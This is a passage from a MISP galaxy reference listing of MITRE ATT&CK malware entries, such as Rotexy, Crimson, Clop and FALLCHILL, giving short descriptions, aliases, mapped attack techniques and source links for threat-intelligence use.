- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5347. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf
https://attack.mitre.org/software/S0113

YiSpecter - S0311

[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)

The tag is: *misp-galaxy:mitre-malware="YiSpecter - S0311"*

YiSpecter - S0311 is also known as:

- YiSpecter

View relationships graph

YiSpecter - S0311 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 5348. Table References

Links
https://attack.mitre.org/software/S0311
https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/

BOOTRASH - S0114

[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)

The tag is: *misp-galaxy:mitre-malware="BOOTRASH - S0114"*

BOOTRASH - S0114 is also known as:

- BOOTRASH

View relationships graph

BOOTRASH - S0114 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"

Table 5349. Table References

Links
https://attack.mitre.org/software/S0114
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf

Rotexy - S0411

[Rotexy](https://attack.mitre.org/software/S0411) is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.(Citation: securelist rotexy 2018)

The tag is: *misp-galaxy:mitre-malware="Rotexy - S0411"*

Rotexy - S0411 is also known as:

- Rotexy

View relationships graph

Rotexy - S0411 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5350. Table References

Links
https://attack.mitre.org/software/S0411
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/

HALFBAKED - S0151

[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)

The tag is: *misp-galaxy:mitre-malware="HALFBAKED - S0151"*

View relationships graph

HALFBAKED - S0151 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="VB Flash" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5351. Table References

Links
https://attack.mitre.org/software/S0151
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

Crimson - S0115

[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)

The tag is: *misp-galaxy:mitre-malware="Crimson - S0115"*

Crimson - S0115 is also known as:

- Crimson
- MSIL/Crimson

View relationships graph

Crimson - S0115 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5352. Table References

Links
https://attack.mitre.org/software/S0115
https://securelist.com/transparent-tribe-part-1/98127/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

RegDuke - S0511

[RegDuke](https://attack.mitre.org/software/S0511) is a first stage implant written in .NET and used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2017. [RegDuke](https://attack.mitre.org/software/S0511) has been used to control a compromised machine when control of other implants on the machine was lost.(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="RegDuke - S0511"*

RegDuke - S0511 is also known as:

- RegDuke

View relationships graph

RegDuke - S0511 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5353. Table References

Links
https://attack.mitre.org/software/S0511
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

XAgentOSX - S0161

[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)

The tag is: *misp-galaxy:mitre-malware="XAgentOSX - S0161"*

XAgentOSX - S0161 is also known as:

- XAgentOSX
- OSX.Sofacy

View relationships graph

XAgentOSX - S0161 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5354. Table References

Links
https://attack.mitre.org/software/S0161
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

Clop - S0611

[Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021)

The tag is: *misp-galaxy:mitre-malware="Clop - S0611"*

Clop - S0611 is also known as:

- Clop

View relationships graph

Clop - S0611 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5355. Table References

Links
https://attack.mitre.org/software/S0611
https://unit42.paloaltonetworks.com/clop-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/

Felismus - S0171

[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)

The tag is: *misp-galaxy:mitre-malware="Felismus - S0171"*

Felismus - S0171 is also known as:

- Felismus

View relationships graph

Felismus - S0171 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Felismus" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5356. Table References

Links
https://attack.mitre.org/software/S0171

https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

XTunnel - S0117

[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)

The tag is: *misp-galaxy:mitre-malware="XTunnel - S0117"*

XTunnel - S0117 is also known as:

- XTunnel
- Trojan.Shunnael
- X-Tunnel
- XAPS

View relationships graph

XTunnel - S0117 has relationships with:

- similar: misp-galaxy:malpedia="XTunnel" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-

language:likelihood-probability="almost-certain"

Table 5357. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://attack.mitre.org/software/S0117
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

FALLCHILL - S0181

[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)

The tag is: *misp-galaxy:mitre-malware="FALLCHILL - S0181"*

FALLCHILL - S0181 is also known as:

- FALLCHILL

View relationships graph

FALLCHILL - S0181 has relationships with:

- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"

Table 5358. Table References

Links
https://attack.mitre.org/software/S0181
https://www.us-cert.gov/ncas/alerts/TA17-318A

Nidiran - S0118

[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)

The tag is: *misp-galaxy:mitre-malware="Nidiran - S0118"*

Nidiran - S0118 is also known as:

- Nidiran
- Backdoor.Nidiran

View relationships graph

Nidiran - S0118 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5359. Table References

Links
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
https://attack.mitre.org/software/S0118

Concipit1248 - S0426

[Concipit1248](https://attack.mitre.org/software/S0426) is iOS spyware that was discovered using the same name as the developer of the Android spyware [Corona Updates](https://attack.mitre.org/software/S0425). Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.(Citation: TrendMicro Coronavirus Updates)

The tag is: *misp-galaxy:mitre-malware="Concipit1248 - S0426"*

Concipit1248 - S0426 is also known as:

- Concipit1248
- Corona Updates

View relationships graph

Concipit1248 - S0426 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 5360. Table References

Links
https://attack.mitre.org/software/S0426
https://blog.trendmicro.com/trendlabs-security-intelligence/coronavirus-update-app-leads-to-project-spy-android-and-ios-spyware/

CORALDECK - S0212

[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="CORALDECK - S0212"*

CORALDECK - S0212 is also known as:

- CORALDECK

View relationships graph

CORALDECK - S0212 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CORALDECK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5361. Table References

Links
https://attack.mitre.org/software/S0212
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Umbreon - S0221

A Linux rootkit that provides backdoor access and hides from defenders.

The tag is: *misp-galaxy:mitre-malware="Umbreon - S0221"*

Umbreon - S0221 is also known as:

- Umbreon

View relationships graph

Umbreon - S0221 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5362. Table References

Links

https://attack.mitre.org/software/S0221
https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046

DOGCALL - S0213

[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="DOGCALL - S0213"*

DOGCALL - S0213 is also known as:

- DOGCALL

View relationships graph

DOGCALL - S0213 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="DOGCALL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5363. Table References

Links
https://attack.mitre.org/software/S0213
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

HummingWhale - S0321

[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)

The tag is: *misp-galaxy:mitre-malware="HummingWhale - S0321"*

HummingWhale - S0321 is also known as:

- HummingWhale

View relationships graph

HummingWhale - S0321 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5364. Table References

Links
http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/
https://attack.mitre.org/software/S0321

WireLurker - S0312

[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)

The tag is: *misp-galaxy:mitre-malware="WireLurker - S0312"*

WireLurker - S0312 is also known as:

- WireLurker

View relationships graph

WireLurker - S0312 has relationships with:

